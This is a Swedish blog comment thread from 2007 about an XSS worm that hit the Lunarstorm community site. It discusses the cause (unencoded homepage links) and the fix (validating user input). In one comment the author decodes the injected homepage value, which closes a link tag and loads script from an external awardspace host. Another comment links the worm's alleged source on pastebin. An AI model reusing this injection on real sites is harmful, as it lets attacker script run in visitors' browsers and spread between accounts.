Comments on: Lunarstorm utsatt för attack http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/ Kristoffer Forsgren skriver om IT-säkerhet, ny teknik och relaterade ämnen. Då och då postas det tips och guider som kan underlätta IT-vardagen för gemene man. Det finns även gratis plugins till Wordpress att hämta. Tue, 06 Jan 2009 19:37:59 +0000 By: Mikael http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-10430 Mikael Sun, 04 May 2008 21:08:41 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-10430 Hej, Jag tycker att det är fantastikt att ni diskuterar ämnet när ni inte vet att bug stavas bug och inte "bugg". Läs på lite mer. Att veta vad XSS är inga problem. Hej, Jag tycker att det är fantastikt att ni diskuterar ämnet när ni inte vet att bug stavas bug och inte “bugg”. Läs på lite mer. Att veta vad XSS är inga problem.

]]> By: wally http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3865 wally Sat, 21 Jul 2007 16:58:05 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3865 Jaha. Trodde det... Hade inte läst igenom det så noggrant men jag menade väl han som skrivit koden ;) Jaha. Trodde det… Hade inte läst igenom det så noggrant men jag menade väl han som skrivit koden ;)

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3861 Kristoffer Sat, 21 Jul 2007 07:56:35 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3861 Wally: Det är <em>inte</em> jag som har gjort scriptet =) Scriptet är däremot exakt detsamma som det som användes mot Lunarstorm, jag har med det här för demonstrationssyfte Wally: Det är inte jag som har gjort scriptet =)
Scriptet är däremot exakt detsamma som det som användes mot Lunarstorm, jag har med det här för demonstrationssyfte

]]> By: wally http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3858 wally Fri, 20 Jul 2007 21:19:17 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3858 Snyggt skript! Du kunde gjort det lite snyggare när du skapar en XMLHttpRequest men annars måste jag säga att det ser snyggt ut. Hur lång tid tog det från idé till utförande? Mvh Waldemar Snyggt skript!

Du kunde gjort det lite snyggare när du skapar en XMLHttpRequest men annars måste jag säga att det ser snyggt ut.

Hur lång tid tog det från idé till utförande?

Mvh Waldemar

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3838 Kristoffer Wed, 18 Jul 2007 12:59:14 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3838 Jesper: Tack för stödet! =) Det som brast i säkerheten här var att Lunarstorm skrev ut hemsidelänken precis som den blivit inskriven, utan att göra om det hela till HTML-kod. Om du tittar i koden, under funktionen function injectscript() så ser du på femte raden där pd får ett värde tilldelat att variabeln "txtHomepage" (den återfinns i slutet på raden ovanför) sätts till ett värde som bland annat innehåller "www.hamsterpaj.net" och sedan bitvis en hel del konstiga kombinationer med % i början av dem. Detta är alltså URL-kodade tecken. Kör man hela den strängen genom en funktion som gör om dem till vanliga tecken får man fram raden: "www.hamsterpaj.net/forum/hamsterpaj/allmaent_om_hamsterpaj/foersvarstal_foer_forumet/"><script /src=http://koppiem.awardspace.com/script.js></script><a" I strängen ingår alltså tecken som får själva länk-taggen att avslutas och att en komplett script-tag läggs in. Hoppas att detta bidrog med lite ljus till situationen =) Jesper: Tack för stödet! =)
Det som brast i säkerheten här var att Lunarstorm skrev ut hemsidelänken precis som den blivit inskriven, utan att göra om det hela till HTML-kod.

Om du tittar i koden, under funktionen function injectscript() så ser du på femte raden där pd får ett värde tilldelat att variabeln “txtHomepage” (den återfinns i slutet på raden ovanför) sätts till ett värde som bland annat innehåller “www.hamsterpaj.net” och sedan bitvis en hel del konstiga kombinationer med % i början av dem. Detta är alltså URL-kodade tecken. Kör man hela den strängen genom en funktion som gör om dem till vanliga tecken får man fram raden: “www.hamsterpaj.net/forum/hamsterpaj/allmaent_om_hamsterpaj/foersvarstal_foer_forumet/”><script /src=http://koppiem.awardspace.com/script.js></script><a”

I strängen ingår alltså tecken som får själva länk-taggen att avslutas och att en komplett script-tag läggs in.

Hoppas att detta bidrog med lite ljus till situationen =)

]]> By: Jesper http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3832 Jesper Wed, 18 Jul 2007 00:16:46 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3832 Kristoffer, du gjorde absolut inget fel i att återpublicera denna koden. Det är bara bra så att andra utvecklare kan studera hur en XSS-mask fungerar. Men någon som vet exakt vad som brast i säkerheten? Ola skriver om att det var fel på deras länkningsskript, men hur kunde det möjliggöra att man kunde köra javascript från en extern url? På min blogg fick jag ett tips om att skriptet eventuellt kördes här ifrån: http://pastebin.com/m439d0918 Nån som kan bekräfta det? Kristoffer, du gjorde absolut inget fel i att återpublicera denna koden. Det är bara bra så att andra utvecklare kan studera hur en XSS-mask fungerar.

Men någon som vet exakt vad som brast i säkerheten? Ola skriver om att det var fel på deras länkningsskript, men hur kunde det möjliggöra att man kunde köra javascript från en extern url?

På min blogg fick jag ett tips om att skriptet eventuellt kördes här ifrån: http://pastebin.com/m439d0918 Nån som kan bekräfta det?

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3829 Kristoffer Tue, 17 Jul 2007 16:09:59 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3829 Maria, bitvis är det svårt att utläsa exakt vad du menar, men jag ska försöka mitt bästa. Ägaren till Hamsterpaj har uttryckt att han gärna skulle se att Lunarstorm går i konkurs ja. Jag tror inte att så många företag skulle bli ledsna om de ser sin största konkurrent försvinna. Så det finns, enligt mig, inget särskilt anmärkningsvärt i uttalandet i sig. Däremot kan man kanske anse att det var lite klumpigt formulerat. Maria, bitvis är det svårt att utläsa exakt vad du menar, men jag ska försöka mitt bästa.

Ägaren till Hamsterpaj har uttryckt att han gärna skulle se att Lunarstorm går i konkurs ja. Jag tror inte att så många företag skulle bli ledsna om de ser sin största konkurrent försvinna. Så det finns, enligt mig, inget särskilt anmärkningsvärt i uttalandet i sig. Däremot kan man kanske anse att det var lite klumpigt formulerat.

]]> By: maria johansson http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3826 maria johansson Tue, 17 Jul 2007 14:10:02 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3826 vad jag menar är att den sajten, som blev indragen,yttrande var ganska simpelt hade ingen skuld i detta.men hade gärna sett att lunarstorm gick i konkurs,vad kallar man det, läst artiklarna i aftonbladet, hallands nyheter, har ni vad jag menar är att den sajten, som blev indragen,yttrande var ganska simpelt hade ingen skuld i detta.men hade gärna sett att lunarstorm gick i konkurs,vad kallar man det, läst artiklarna i aftonbladet, hallands nyheter, har ni

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3817 Kristoffer Mon, 16 Jul 2007 22:24:22 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3817 Maria: Det är klart att man ifrågasätter säkerhetsarbetet när det visar sig att en attack av det här slaget är möjlig. Det hade varit en barnlek att skydda sig mot den. Någonstans har säkerhetsrutinerna brustit rejält, den saken är klar. Det är fullt möjligt att jag (och kanske även de andra) skulle kunna bidra till en höjd nivå av säkerhet, men det är inte aktuellt i den här diskussionen. Att säga att det alltid finns kryphål är fel, däremot kan man säga att risken för att det finns någon form av kryphål är ganska stor. Det här hålet är däremot av en oerhört låg nivå. Det ska helt enkelt inte finnas på en så stor sida som Lunarstorm är. Att det här har med någon sorts "svensk avundsjuka" är nog däremot ett felaktigt antagande :) Maria: Det är klart att man ifrågasätter säkerhetsarbetet när det visar sig att en attack av det här slaget är möjlig. Det hade varit en barnlek att skydda sig mot den. Någonstans har säkerhetsrutinerna brustit rejält, den saken är klar. Det är fullt möjligt att jag (och kanske även de andra) skulle kunna bidra till en höjd nivå av säkerhet, men det är inte aktuellt i den här diskussionen.

Att säga att det alltid finns kryphål är fel, däremot kan man säga att risken för att det finns någon form av kryphål är ganska stor. Det här hålet är däremot av en oerhört låg nivå. Det ska helt enkelt inte finnas på en så stor sida som Lunarstorm är.

Att det här har med någon sorts “svensk avundsjuka” är nog däremot ett felaktigt antagande :)

]]> By: maria johansson http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3816 maria johansson Mon, 16 Jul 2007 21:53:01 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3816 det finns alltid kryphål, i säkerhet,lunarstorm har säkert tänkt säkerhet.kristoffer o john o ola o niklas, ni verkar ju vara så insatta, kanske skulle ni kunna driva sveriges största ungdomschat. det finns alltid kryphål, i säkerhet,lunarstorm har säkert tänkt säkerhet.kristoffer o john o ola o niklas, ni verkar ju vara så insatta, kanske skulle ni kunna driva sveriges största ungdomschat.

]]> By: maria johansson http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3815 maria johansson Mon, 16 Jul 2007 21:36:55 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3815 de flesta har sädana kommentarer här, angående säkerheten hos lunarstorm.ifrågande borde vara vad för slags idioter ursäkta ordvalet,som bara är ute efter att förstöra.svenska avundsjukan, har gjort sig påmind igen. de flesta har sädana kommentarer här, angående säkerheten hos lunarstorm.ifrågande borde vara vad för slags idioter ursäkta ordvalet,som bara är ute efter att förstöra.svenska avundsjukan, har gjort sig påmind igen.

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3809 Kristoffer Mon, 16 Jul 2007 13:41:27 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3809 John: I slutet av artikeln skrev jag "Hur kunde Lunarstorm skyddat sig mot detta? Enkelt, genom att helt enkelt se över vilka värden man tar emot i sina fält.", kanske får lägga till lite till där. Det är möjligt att jag skriver en mer ingående artikel om XSS-attacker framöver däremot, då det fortfarande är ett mycket vanligt attacksätt. John: I slutet av artikeln skrev jag “Hur kunde Lunarstorm skyddat sig mot detta? Enkelt, genom att helt enkelt se över vilka värden man tar emot i sina fält.”, kanske får lägga till lite till där.

Det är möjligt att jag skriver en mer ingående artikel om XSS-attacker framöver däremot, då det fortfarande är ett mycket vanligt attacksätt.

]]> By: John http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3808 John Mon, 16 Jul 2007 13:15:10 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3808 Kristoffer du kanske kan skriva en artikel om hur Lunarstorm skulle kunna skydda sig? Det ger väl mer än att bara ge script kiddies mer kod att leka med? Kristoffer du kanske kan skriva en artikel om hur Lunarstorm skulle kunna skydda sig? Det ger väl mer än att bara ge script kiddies mer kod att leka med?

]]> By: Ola http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3804 Ola Mon, 16 Jul 2007 07:33:47 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3804 Anledningen till varför det va missat är för att funktionen som kodade om länkar till klickbara länkar va fel. Så om man skrev "http://www.länk.seertc" utan mellanslag så plockade den med scriptet. Mao ett misstag som tagit 4år att hitta för kidsen. Anledningen till varför det va missat är för att funktionen som kodade om länkar till klickbara länkar va fel. Så om man skrev “http://www.länk.seertc” utan mellanslag så plockade den med scriptet. Mao ett misstag som tagit 4år att hitta för kidsen.

]]> By: Code Odyssey » XSS-attacken mot Lunarstorm http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3802 Code Odyssey » XSS-attacken mot Lunarstorm Sun, 15 Jul 2007 23:53:33 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3802 […] Via kommentarerna hos IDG hittade jag även en länk till gate 303 som också skriver om attacken och visar upp själva koden som användes. […] […] Via kommentarerna hos IDG hittade jag även en länk till gate 303 som också skriver om attacken och visar upp själva koden som användes. […]

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3799 Kristoffer Sun, 15 Jul 2007 17:03:21 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3799 Nickas: Grejen med just den här svagheten är att det är något man kan skydda sig mot väldigt lätt och det är också något av det första man som webbprogrammerare kontrollerar. Jag blev mycket förvånad när jag hörde talas om masken som härjade på Myspace med, även den inte berör mig personligen på samma sätt. Att det inte är ont om säkerhetshål och -brister är något jag är mycket medveten om, mina studier i IT-säkerhet har tagit min paranoia till ännu högre nivåer... =) Alla säkerhetshål beror på den mänskliga faktorn. Någonstans är det nämligen en människa som har lyckats förbise kontruktionsmissen. Att lösa det hela är lätt: Lita inte på användaren, kontrollera deras inmatning. :) Nickas: Grejen med just den här svagheten är att det är något man kan skydda sig mot väldigt lätt och det är också något av det första man som webbprogrammerare kontrollerar. Jag blev mycket förvånad när jag hörde talas om masken som härjade på Myspace med, även den inte berör mig personligen på samma sätt. Att det inte är ont om säkerhetshål och -brister är något jag är mycket medveten om, mina studier i IT-säkerhet har tagit min paranoia till ännu högre nivåer… =)

Alla säkerhetshål beror på den mänskliga faktorn. Någonstans är det nämligen en människa som har lyckats förbise kontruktionsmissen.

Att lösa det hela är lätt: Lita inte på användaren, kontrollera deras inmatning. :)

]]> By: Niklas Fors http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3798 Niklas Fors Sun, 15 Jul 2007 15:46:30 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3798 Kristoffer: Jo, visst bör man väl säkerställa kvalitén på koden genom speciella rutiner. Nu är jag inte särskilt erfaren av just detta, men jag gissar på att Lunarstorm har någon form av rutiner för detta. Men vi är människor och då händer det faktiskt att vi gör fel, oavsett om det finns rutiner som egentligen skall stoppa det. Som du vet så är det förhållandevis vanligt med säkerhetshål. Kolla bara på masken som spred sig på Myspace. Den siten om någon borde ju ha riktiga rutiner för att det inte skall finnas några säkerhetsluckor. Men ändå hände det, och jag gissar på att svaret på varför det hände är den mänskliga faktorn. Det är människan som gör fel. Jag har själv skrivit en hel del kod för webben på min fritid. Jag driver en liten site som har en del användare och besökare. Och jag vet själv hur lätt det kan vara att råka missa en sådan här sak. Nu är det väl skillnad om man sitter på fritiden och arbetar med det. Men i vilket fall som helst är det rätt lätt hänt att man råkar missa en sak. Men du har rätt, det borde inte förekomma. Sedan hur man skall lösa det så att det absolut inte förekommer är ju en annan fråga. Jag skulle kunna gissa på att det oftast rör sig om ekonomi, att företaget inte vill lägga mer pengar på det. Kristoffer: Jo, visst bör man väl säkerställa kvalitén på koden genom speciella rutiner. Nu är jag inte särskilt erfaren av just detta, men jag gissar på att Lunarstorm har någon form av rutiner för detta. Men vi är människor och då händer det faktiskt att vi gör fel, oavsett om det finns rutiner som egentligen skall stoppa det.

Som du vet så är det förhållandevis vanligt med säkerhetshål. Kolla bara på masken som spred sig på Myspace. Den siten om någon borde ju ha riktiga rutiner för att det inte skall finnas några säkerhetsluckor. Men ändå hände det, och jag gissar på att svaret på varför det hände är den mänskliga faktorn. Det är människan som gör fel.

Jag har själv skrivit en hel del kod för webben på min fritid. Jag driver en liten site som har en del användare och besökare. Och jag vet själv hur lätt det kan vara att råka missa en sådan här sak. Nu är det väl skillnad om man sitter på fritiden och arbetar med det. Men i vilket fall som helst är det rätt lätt hänt att man råkar missa en sak.

Men du har rätt, det borde inte förekomma. Sedan hur man skall lösa det så att det absolut inte förekommer är ju en annan fråga. Jag skulle kunna gissa på att det oftast rör sig om ekonomi, att företaget inte vill lägga mer pengar på det.

]]> By: Kristoffer http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3796 Kristoffer Sun, 15 Jul 2007 13:26:16 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3796 Nicklas: Jo, jag vet att det är en bugg, eller snarare en brist. ALLA attacker grundar sig på någon form av buggar eller brister, fanns det ingen bugg eller brist att attackera så skulle inga sådana här attacker genomföras. ;) Attacker av den typen som Lunarstorm i natt blev utsatt för är något av det första man ser till att skydda sig mot i samma stund som man tillåter användare att mata in värden. Någonstans har det med andra ord brustit i deras säkerhetskontroller, vilket i förlängningen innebär just att säkerheten blir lägre. När sådana missar görs på etablerade och stora sidor är det så klart uppseendeväckande (åtminstone i mina ögon). Tack för din synpunkt :) Nicklas: Jo, jag vet att det är en bugg, eller snarare en brist. ALLA attacker grundar sig på någon form av buggar eller brister, fanns det ingen bugg eller brist att attackera så skulle inga sådana här attacker genomföras. ;)

Attacker av den typen som Lunarstorm i natt blev utsatt för är något av det första man ser till att skydda sig mot i samma stund som man tillåter användare att mata in värden.

Någonstans har det med andra ord brustit i deras säkerhetskontroller, vilket i förlängningen innebär just att säkerheten blir lägre. När sådana missar görs på etablerade och stora sidor är det så klart uppseendeväckande (åtminstone i mina ögon).

Tack för din synpunkt :)

]]> By: Niklas Fors http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3795 Niklas Fors Sun, 15 Jul 2007 13:09:59 +0000 http://www.gate303.net/2007/07/15/lunarstorm-utsatt-for-attack/#comment-3795 "Det är i mina ögon uppseendeväckande att en så stor sida som Lunarstorm inte hade högre säkerhet vad gäller sådant här." Det här är en bugg, någonting de har missat. Jag tror faktiskt att deras programmerare är medvetna om vad XSS är för någonting. Min poäng är alltså att det nog inte beror på okunskap, utan på ett mänskligt misstag. “Det är i mina ögon uppseendeväckande att en så stor sida som Lunarstorm inte hade högre säkerhet vad gäller sådant här.”
Det här är en bugg, någonting de har missat. Jag tror faktiskt att deras programmerare är medvetna om vad XSS är för någonting. Min poäng är alltså att det nog inte beror på okunskap, utan på ett mänskligt misstag.

]]>